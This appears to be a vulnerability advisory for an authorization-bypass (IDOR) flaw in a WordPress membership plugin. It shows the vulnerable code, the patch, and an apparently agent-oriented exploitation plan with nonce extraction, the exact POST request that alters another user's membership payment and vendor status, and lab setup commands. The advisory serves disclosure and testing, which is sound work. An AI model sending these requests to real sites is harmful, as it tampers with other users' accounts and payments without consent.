CVE-2025-15147

WCFM Membership – WooCommerce Memberships for Multivendor Marketplace <= 2.11.8 - Insecure Direct Object Reference to Update Membership Payment

mediumAuthorization Bypass Through User-Controlled Key
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.11.9
Patched in
1d
Time to patch

Description

The WCFM Membership – WooCommerce Memberships for Multivendor Marketplace plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.11.8 via the 'WCFMvm_Memberships_Payment_Controller::processing' due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify other users' membership payments.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.11.8
PublishedFebruary 9, 2026
Last updatedFebruary 9, 2026

What Changed in the Fix

Changes introduced in v2.11.9

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on exploiting an **Insecure Direct Object Reference (IDOR)** vulnerability in the **WCFM Membership** plugin. The vulnerability allows an authenticated attacker (Subscriber level) to modify the membership payment details and trigger vendor registration for any other user b…

Show full research plan

This research plan focuses on exploiting an Insecure Direct Object Reference (IDOR) vulnerability in the WCFM Membership plugin. The vulnerability allows an authenticated attacker (Subscriber level) to modify the membership payment details and trigger vendor registration for any other user by manipulating the member_id parameter.

1. Vulnerability Summary

  • Vulnerability: Insecure Direct Object Reference (IDOR)
  • Location: WCFMvm_Memberships_Payment_Controller::processing() in controllers/wcfmvm-controller-memberships-payment.php.
  • Condition: The plugin fails to verify if the member_id provided in the request matches the ID of the currently logged-in user.
  • Impact: An attacker can modify another user's membership paymode, force-register them as a vendor ($WCFMvm->register_vendor), and potentially bypass payment requirements for paid plans.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wcfm_ajax_controller (WCFM's standard dispatcher)
  • Controller Parameter: wcfm-memberships-payment
  • Vulnerable Parameter: member_id (nested inside wcfm_membership_payment_form)
  • Authentication: Required (Subscriber or higher).
  • Preconditions:
    1. The target user (Victim) must have a temp_wcfm_membership meta key set (this happens when they select a plan but haven't completed payment).
    2. The value of temp_wcfm_membership must be a valid Post ID of a wcfm_membership post type.

3. Code Flow

  1. The request hits admin-ajax.php with action=wcfm_ajax_controller.
  2. The WCFM dispatcher instantiates WCFMvm_Memberships_Payment_Controller (defined in controllers/wcfmvm-controller-memberships-payment.php).
  3. The constructor immediately calls $this->processing().
  4. Lines 33-34: The code extracts the form data:
    parse_str($_POST['wcfm_membership_payment_form'], $wcfm_membership_payment_form_data);
    $wcfm_membership_payment_form_data = wc_clean($wcfm_membership_payment_form_data);
    
  5. Lines 39-40: It retrieves the member_id directly from this user-controlled string:
    if (isset($wcfm_membership_payment_form_data['member_id']) && !empty($wcfm_membership_payment_form_data['member_id'])) {
        $member_id = absint($wcfm_membership_payment_form_data['member_id']);
    
  6. Line 41: It fetches the membership plan ID associated with that member_id:
    $wcfm_membership = get_user_meta($member_id, 'temp_wcfm_membership', true);
    
  7. Line 42: It takes the paymode from $_POST['paymode'].
  8. Lines 59-62: If the plan exists, it updates the victim's meta and registers them as a vendor:
    update_user_meta($member_id, 'wcfm_membership_paymode', $paymode);
    // ...
    $has_error = $WCFMvm->register_vendor($member_id);
    

4. Nonce Acquisition Strategy

WCFM AJAX requests usually require a nonce named wcfm_ajax_nonce. This is typically localized into the wcfm_params global JS object.

  1. Identify Trigger: The membership payment form is often rendered via the [wcfm_membership] shortcode.
  2. Setup: Create a public page with the shortcode.
    wp post create --post_type=page --post_title="Membership" --post_status=publish --post_content='[wcfm_membership]'
    
  3. Navigate: Use browser_navigate to this page as the Attacker.
  4. Extract: Use browser_eval to get the nonce.
    // WCFM standard localization key
    window.wcfm_params?.wcfm_ajax_nonce
    

5. Exploitation Strategy

The goal is to change the paymode of a Victim user and trigger their vendor registration.

  • Step 1: Obtain a valid Nonce (see section 4).
  • Step 2: Construct the payload. The wcfm_membership_payment_form must be a URL-encoded string containing the victim's ID.
  • Step 3: Send the POST request.

Request Details:

  • URL: http://[target]/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=wcfm_ajax_controller&controller=wcfm-memberships-payment&wcfm_ajax_nonce=[NONCE]&paymode=bank_transfer&wcfm_membership_payment_form=member_id=[VICTIM_ID]
    

6. Test Data Setup

  1. Create Membership Plan: Use WP-CLI to create a membership post.
    PLAN_ID=$(wp post create --post_type=wcfm_membership --post_title="Gold Plan" --post_status=publish --porcelain)
    # Set plan metadata (required for the code logic to proceed)
    wp post meta update $PLAN_ID subscription 'a:1:{s:7:"is_free";s:2:"no";}' --format=json
    
  2. Create Victim:
    VICTIM_ID=$(wp user create victim victim@example.com --role=subscriber --user_pass=password --porcelain)
    # Assign the "temp" membership to the victim to simulate an initiated application
    wp user meta update $VICTIM_ID temp_wcfm_membership $PLAN_ID
    
  3. Create Attacker:
    ATTACKER_ID=$(wp user create attacker attacker@example.com --role=subscriber --user_pass=password --porcelain)
    

7. Expected Results

  • Response: A JSON string: {"status": true, "message": "Subscription successfully completed...", "redirect": "..."}.
  • Database Change: The Victim's user meta wcfm_membership_paymode will be updated to bank_transfer.
  • Vendor Status: The Victim's role will likely be changed to wcfm_vendor (or whatever the plugin's registration logic dictates).

8. Verification Steps

After the HTTP request, verify the state of the Victim user:

# Check if the paymode was updated
wp user meta get [VICTIM_ID] wcfm_membership_paymode

# Check if the user was registered as a vendor (role change)
wp user get [VICTIM_ID] --field=roles

# Check if subscription data was stored
wp user meta get [VICTIM_ID] wcfm_membership_subscription_data

9. Alternative Approaches

If the wcfm_ajax_controller requires different parameters, investigate core/class-wcfmvm-ajax.php (inferred existence) to see how the controller is routed. If the plan is "Free", the paymode check is bypassed entirely, making the exploit even simpler:

paymode=free&wcfm_membership_payment_form=member_id=[VICTIM_ID]

If temp_wcfm_membership is not set for the victim, the response will be {"status": false, "message": "No member ID found"} (from lines 75-77), confirming the member_id parameter was processed but the meta check failed.

Research Findings
Static analysis — not yet PoC-verified

Summary

The WCFM Membership plugin is vulnerable to an Insecure Direct Object Reference (IDOR) because it fails to verify that the 'member_id' provided in a membership payment request matches the ID of the authenticated user. This allows an attacker with Subscriber-level access to modify the membership payment mode and trigger vendor registration for any other user who has a pending membership application.

Vulnerable Code

// controllers/wcfmvm-controller-memberships-payment.php lines 33-40
		$wcfm_membership_payment_form_data = array();
		parse_str($_POST['wcfm_membership_payment_form'], $wcfm_membership_payment_form_data);

		$wcfm_membership_payment_form_data = wc_clean($wcfm_membership_payment_form_data);

		$wcfm_membership_payment_messages = get_wcfmvm_membership_payment_messages();
		$has_error = false;

		if (isset($wcfm_membership_payment_form_data['member_id']) && !empty($wcfm_membership_payment_form_data['member_id'])) {
			$member_id 			= absint($wcfm_membership_payment_form_data['member_id']);

---

// controllers/wcfmvm-controller-memberships-payment.php lines 59-62
				update_user_meta($member_id, 'wcfm_membership_paymode', $paymode);
				$required_approval = get_post_meta($wcfm_membership, 'required_approval', true) ? get_post_meta($wcfm_membership, 'required_approval', true) : 'no';

				if ($required_approval != 'yes') {
					$has_error = $WCFMvm->register_vendor($member_id);

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wc-multivendor-membership/2.11.8/controllers/wcfmvm-controller-memberships-payment.php	2025-11-16 05:58:14.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wc-multivendor-membership/2.11.9/controllers/wcfmvm-controller-memberships-payment.php	2026-02-07 08:08:02.000000000 +0000
@@ -31,6 +31,12 @@
 
 		if (isset($wcfm_membership_payment_form_data['member_id']) && !empty($wcfm_membership_payment_form_data['member_id'])) {
 			$member_id 			= absint($wcfm_membership_payment_form_data['member_id']);
+			
+			if ($member_id && !$this->is_valid_member_id( $member_id )) {
+				echo '{"status": false, "message": "' . esc_html__( 'Not a valid member', 'wc-multivendor-membership' ) . '"}';
+				die;
+			}
+
 			$wcfm_membership	= get_user_meta($member_id, 'temp_wcfm_membership', true);
 			$paymode 			= wc_clean($_POST['paymode']);
 
@@ -77,4 +83,14 @@
 
 		die;
 	}
+
+	protected function is_valid_member_id( $member_id ) {
+		$is_valid_member = false;
+
+		if ((get_current_user_id() == $member_id) && wcfm_is_allowed_membership()) {
+			$is_valid_member = true;
+		}
+
+		return $is_valid_member;
+	}
 }

Exploit Outline

The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php using the 'wcfm_ajax_controller' action. An attacker with Subscriber-level authentication must first obtain a valid 'wcfm_ajax_nonce', typically exposed via the 'wcfm_params' JavaScript object on pages where the [wcfm_membership] shortcode is used. The attacker then crafts a POST request with the 'controller' parameter set to 'wcfm-memberships-payment'. The critical part of the payload involves the 'wcfm_membership_payment_form' parameter, which is a URL-encoded string containing a target user's ID ('member_id'). Because the plugin lacks authorization checks on this ID, it will proceed to update the victim's 'wcfm_membership_paymode' based on the 'paymode' POST parameter and trigger the 'register_vendor' function for that victim, potentially bypassing payment requirements or elevating the victim's role without their consent.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.